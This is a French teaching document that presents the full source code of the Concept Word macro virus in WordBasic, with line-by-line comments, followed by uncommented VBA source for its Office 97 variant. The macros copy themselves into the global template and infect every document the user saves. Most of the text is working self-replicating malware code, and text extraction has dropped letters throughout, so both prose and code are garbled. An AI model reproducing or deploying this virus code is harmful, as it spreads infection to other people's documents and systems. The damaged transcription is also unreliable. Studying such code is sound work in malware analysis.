Code soure ommenté du maro-virus onept Eri Filiol Eole Supérieure en Informatique, Eletronique et Automatique (ESIEA) Laboratoire de virologie et de ryptologie opérationnelles 38 rue des Dr Calmette et Guérin, 53000 Laval 17 novembre 2002 1 Introdution Ce ode soure ommenté est donné à des ns exlusivement pédagogiques. L'utilisation de e hiers et des informations qu'il ontient implique de la part du leteur d'avoir pris onnaissane de la réglementation en vigueur en matière de séurité informatique et qu'il s'engage à la respeter. Ce hier est libre de droits tant qu'il est reproduit en totalité. Ce ode soure orrespond au virus présenté dans [1℄. 2 Le virus onept Ce virus est érit en WordBasi (en fait VBA version 6.0). Chaque ommentaire est plaé sous la ligne de ode à laquelle il se rapporte. 2.1 Maro AutoOpen Le but de ette maro est d'initier l'infetion dans un nouveau système à partir d'un hier infeté qui opiera le virus dans le hier modèle global (en général le normal.dot). Sub MAIN On Error Goto Abort ' Gestion des erreurs : en as de problème saut en n de maro. Le virus ne se lane pas. iMaroCount = CountMaros(0, 0) ' Le virus réupère le nombre de maros présentes dans l'environnement en ours ' (hier modèle global : normal.dot) For i to iMaroCount ' Pour haune d'elles If MaroNames$(i, 0, 0) = "Payload" Then ' Si une maro nommée Payload est présente (signe d'infetion) bInstalled = - 1 ' Le marqueur d'infetion bInstalled est ativé. Enf If If MaroNames$(i, 0, 0) = "FileSaveAs" Then ' Si une maro nommée FileSaveAs est présente (réée par l'utilisateur ou un autre virus) 1 bTooMuhTrouble = - 1 ' Le marqueur de présene pour ette maro est ativé. Enf If Next i If Not bInstalled And Not bTooMuhTrouble Then ' Si auune des maros Payload et FileSaveAs n'est présente (la présene de la maro ' FileSaveAs sans la maro Payload peut générer des problèmes lors de l'infetion iWW6IInstane = Val(GetDoumentVar$("WW6Infetor")) ' Réupération de la valeur de la variable d'environnement WW6Infetor présente dans le ' WinWord6.ini et utilisée pour identier la génération du virus. Cette valeur est ' stokée dans la variable iWW6IInstane. Du fait d'un bug, iWW6IInstane vaut toujours 0 ' ar la variable WW6Infetor est sauvegardée sous un nom diérent (iWW6IInstane ; voir ' n du ode de la maro). sMe$ = FileName$() ' sMe représente une variable loale ; elle reçoit ii le nom du doument atif dans Word. sMaros$ = sMe$ + " :Payload" ' sMe est augmentée du nom de la première maro virale à opier. MaroCopy sMaros$, "Global :Payload" ' Copie de ette maro loale du doument infeté vers le hier modèle global ' (le plus souvent normal.dot) sMaros$ = sMe$ + " :AAAZFS" ' sMe vaut maintenant nom doument + "AAAZFS" MaroCopy sMaros$, "Global :FileSaveAs" ' Copie de ette maro loale du doument infeté vers le hier modèle global ' ave le nom FileSaveAs sMaros$ = sMe$ + " :AAAZFS" ' sMe vaut maintenant nom doument + "AAAZFS" MaroCopy sMaros$, "Global :AAAZFS" ' Copie de ette maro loale du doument infeté vers le hier modèle global sMaros$ = sMe$ + " :AAAZAO" ' sMe vaut maintenant nom doument + "AAAZAO" MaroCopy sMaros$, "Global :AAAZAO" ' Copie de ette maro loale du doument infeté vers le hier modèle global SetProleString "WW6I", Str$(iWW6IInstane + 1) ' La valeur de la variable iWW6IInstane est inrémentée de 1 et stokée dans le ' hier WinWord6.ini qui ontient don la haîne WW6I= 1 pour tout version de ' Word infetée. On voit que la variable WW6Infetor n'est jamais utilisée d'où ' le bug évoqué plus haut. MsgBox Str$(iWW6IInstane + 1) ' Ahage d'une fenêtre message ontenant la valeur de la variable ' iWW6IInstane inrémentée de 1. Enf If Abort : ' Label de saut vers la n de proédure. End Sub 2 2.2 Maro FileSaveAs Cette maro a pour fontion de propager l'infetion à partir d'un appliatif infeté. Chaque doument ouvert et sauvegardé sera infeté. Word déjà Sub MAIN Dim dlg As FileSaveAs ' Dénit la boite de dialogue ative omme étant FileSaveAs. On Error Goto Bail ' Gestion des erreurs : en as de problème saut en n de maro ' (label Bail). GetCurValues dlg ' Réupère des propriétés du urseur (en part. la loalisation) ' dans le dialogue atif. Cela équivaut à un déroutement de la ' fontionnalité FileSaveAs. Dialog dlg If dlg.Format = 0 Then dlg.Format = 1 ' Ativation des fontionnalités virales ajoutées à elle de ' FileSaveAs. sMe$ = FileName$() ' sMe représente une variable loale ; elle reçoit ii le nom du doument atif dans Word. sTMaros$ = sMe$ + " :AutoOpen" ' sMe maintenant nom doument + "AutoOpen". MaroCopy "Global :AAAZAO", sTMaro$ ' Copie de la maro AAAZAO du modèle global vers le doument ' atif (loal) sous le nom AutoOpen. sTMaro$ = sMe$ + " :AAAZAO" ' sMe vaut maintenant nom doument + "AAAZAO" MaroCopy "Global :AAAZAO", sTMaro$ ' Copie de la maro AAAZAO du modèle global vers le doument ' atif (loal). sTMaro$ = sMe$ + " :AAAZFS" ' sMe vaut maintenant nom doument + "AAAZFS" MaroCopy "Global :AAAZFS", sTMaro$ ' Copie de la maro AAAZFS du modèle global vers le doument ' atif (loal). sTMaro$ = sMe$ + " :PayLoad" ' sMe vaut maintenant nom doument + "PayLoad" MaroCopy "Global :PayLoad", sTMaro$ ' Copie de la maro Payload du modèle global vers le doument ' atif (loal). FileSaveAs dlg ' La boite de dialogue ative est maintenant elle de FileSaveAs. Goto Done ' En n d'infetion sauter au label Done. Bail : ' Label de saut vers la n de proédure pour gestion des erreurs. If Err <> 102 Then 3 ' Si l'erreur n'est pas une erreur de type 102 (éhe d'exéution de ommande). FileSaveAs dlg ' La boite de dialogue FileSaveAs est ativée et ahée. End If Done : ' Label de saut vers la n de proédure en n d'infetion. End Sub 2.3 Maro Payload Cette maro n'est jamais utilisée par le virus (bug ou volonté de l'auteur du virus ?). Elle est donnée ii dans un but d'exhaustivité. Elle gure parmi les maros virales. Sub MAIN REM That's enough to prove my point ' Simple ommentaire. Tradution : C'est End Sub susant prouver e que j'avane. 3 Code soure du virus Conept97 Ce ode est la version du virus onept pour la version 7.0 du langage VBA (à partir de la suite Oe 97). Il est dû à Mark Ludwig. Le ode est donné tel quel, sans ommentaires, au demeurant inutiles étant donné le aratère très intuitif des ommandes. Ces dernières étant assez longues, le aratère \ indique que la ommande se poursuit à la ligne suivante. 3.1 Maro AutoOpen Sub AutoOpen() iMaroCount = WordBasi.CountMaros(0,0) For i = 1 to iMaroCount If WordBasi.MaroName$(i, 0, 0) = "FileSave" Then bInstalled = - 1 End If Next i If Not bInstalled = - 1 Then Appliation.OrganizerCopy AtiveDoument.FullName, NormalTemplate.FullName,\ "FileSave", wdOrganizerObjetProjetItems Appliation.OrganizerCopy AtiveDoument.FullName, NormalTemplate.FullName,\ "AutoOpen", wdOrganizerObjetProjetItems End If End Sub 3.2 Maro FileSave Sub FileSave() Appliation.OrganizerCopy AtiveDoument.FullName, NormalTemplate.FullName,\ "AutoOpen", wdOrganizerObjetProjetItems Appliation.OrganizerCopy AtiveDoument.FullName, NormalTemplate.FullName,\ 4 "FileSave", wdOrganizerObjetProjetItems AtiveDoument.Save End Sub Référenes [1℄ Filiol E. (2002), Le virus Conept, Journal de la séurité informatique MISC 4, déembre 2002. 5
© Copyright 2025 Paperzz